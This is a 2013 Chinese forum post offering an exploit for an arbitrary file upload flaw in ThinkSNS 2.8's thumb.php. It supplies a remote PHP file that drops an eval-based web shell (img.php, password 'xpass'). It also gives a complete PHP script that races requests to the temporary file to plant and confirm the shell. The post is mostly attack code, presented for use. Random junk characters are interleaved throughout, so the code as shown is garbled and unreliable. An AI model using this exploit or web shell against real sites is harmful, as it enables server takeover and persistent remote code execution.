中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
/ m: _% _. J. L' h2 a存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ G% X: x+ J; ?漏洞文件0 q* B3 z) F& t0 ]( J3 c) C
存在漏洞的文件为:thumb.php
, ]4 m. w- l7 {# L" s* a" q* U3 j! ~作者:韦鲲鹏
" I3 I0 [* }' T* y/ z1、        准备如下PHP文件并上传到服务器(自己的)。
3 U$ \3 ^" v8 H  A5 i文件内容如下:% l0 Y. j, e1 _# G4 `
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
: _- g  L. n0 W& P2 Y+ |% n2、        计算出临时的文件名:, P! p6 l7 n- ]  u# j# o$ b
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
5 N' ]" g! [3 o1 }0 H
# Z# i# j- p. a  N1 @2 ~. y8 d4 }0 G3、        上传临时文件。) v8 @6 _' `3 @( D( \2 _2 h: d
4、        访问临时文件。
  a1 ?# |6 Q4 ]$ Q; z$ P但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)" G: o8 D% H0 ^1 d$ }, q$ H
Exploit文件内容如下:(这个我就不详细解释了)
* B& X: ^1 p2 ^: F7 X% a<?php
4 w7 O. s. _. k% terror_reporting(0);' s1 w6 H+ f9 t  e& d0 r$ ?; H
set_time_limit(0);
; m& y1 c) J! }+ vini_set(“default_socket_timeout”, 5);  I( c# W/ e; E- u/ A
function http_send($host, $port, $headers) {
8 M! {. p4 ^4 q- P) ]$fp = fsockopen($host, $port);! {. L6 v% Q! ^% s5 \9 {' A
if (!$fp) die(‘Connection -> fail’);
( k, C9 q" }! V$ U- R3 N" Vfputs($fp, $headers);% v! e% r7 W- n8 |
return $fp;- F3 M: k$ g7 C* k. D
}; T; b' C2 Q5 V5 \' x
function http_recv($fp) {' a- K: I) r8 {  a
$ret=”";8 _. M" U: t* a
while (!feof($fp))' J- [3 F& \5 A! |3 s9 t
$ret.= fgets($fp, 1024);, s, i6 ~9 \  G) ]+ g
fclose($fp);7 r1 Q( N& m4 a9 H9 y1 j' S9 C9 E
return $ret;, s: c. m6 B+ ^3 S
}
8 x: f* R0 K( g$ D% v4 `print “\n#  ThinkSns Arbitrary File Upload   #\n”;- b/ @5 F. _! z2 v; Z
print “# Discovered by 韦鲲鹏 #\n\n”;# K+ L! J1 |: w( I
if ($argc < 4) {
! l3 J2 V' j% |2 w, I" Dprint “Usage:   php <host> <path> <romote_url>\n”;2 K$ {# S' q" G! r
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
$ T* {1 n6 y# ~die();
$ I6 C9 M/ d6 X0 z7 G  t4 l9 u}
) \' m3 Q& t. L5 q3 ~, q; x$host = $argv[1];
+ e7 c  g3 b3 A5 B& p$path = $argv[2];
& n* I; v7 G& J, d$url = $argv[3];
4 V$ M  Q% N8 b+ u* _$i=0;' N6 Q. F* w5 w( t  w4 ]' r
//上传数据包0 A; X% o5 M, V$ n6 Y
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
# |: L$ ?" h4 Z$headers_up .= “Host: “.$host.”\r\n”;
2 z! n& k7 Y* G1 t$headers_up .= “Connection: close\r\n\r\n”;
0 F* D. J  o9 f( U6 Cecho $headers_up;
  F; Z* i3 x) G) K4 C8 m1 F" g9 C//临时文件访问数据包$ U' X" n) r4 r
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;5 Y: y: h& W3 h/ [/ L
$headers .= “Host: “.$host.”\r\n”;7 Z* m/ H0 x8 y
$headers .= “Connection: close\r\n\r\n”;  K  C6 w) A3 A+ [. u9 p1 M, W
echo $headers;3 Y- a9 _! |/ Q$ e3 i
while(++$i<10) {
4 i8 W/ S2 N( Qfclose(http_send($host, 80, $headers));, ]( T9 e! A6 \/ Z: V( y
}
6 ?+ d8 F( p9 z0 y0 R+ \( Qfclose(http_send($host, 80, $headers_up));7 l# M7 u% o+ `$ q& c! x
while(++$i<50) {. K/ K' S6 l0 p. F* L7 s
fclose(http_send($host, 80, $headers));
: _* ]/ I: `+ k( T8 C: H}/ _$ k8 D6 a, E  _+ t* ~6 r
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
1 p0 O$ n! j% x! {# A$headers .= “Host: “.$host.”\r\n”;
6 p; U9 L" a2 f& [  `9 |$headers .= “Connection: close\r\n\r\n”;
/ z5 v, y7 Y, {/ u: y% s$res=http_recv(http_send($host, 80, $headers));- d- c3 s3 S4 V# H
if(preg_match(‘/200 OK/’,$res)) {8 v1 k% L& I8 [0 w( L
print “Success!\n\n”;! c) N+ y) Q/ D
} else {
& Y' m9 ~; S7 x/ |, e7 ~print “Fail!\n\n”;5 l* Y) `! H) c' A' F2 J' M( ^5 k/ K
}* W* }, @1 l+ M# o, O
?>
1 k! Q. |$ r# `- g4 `6 l




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2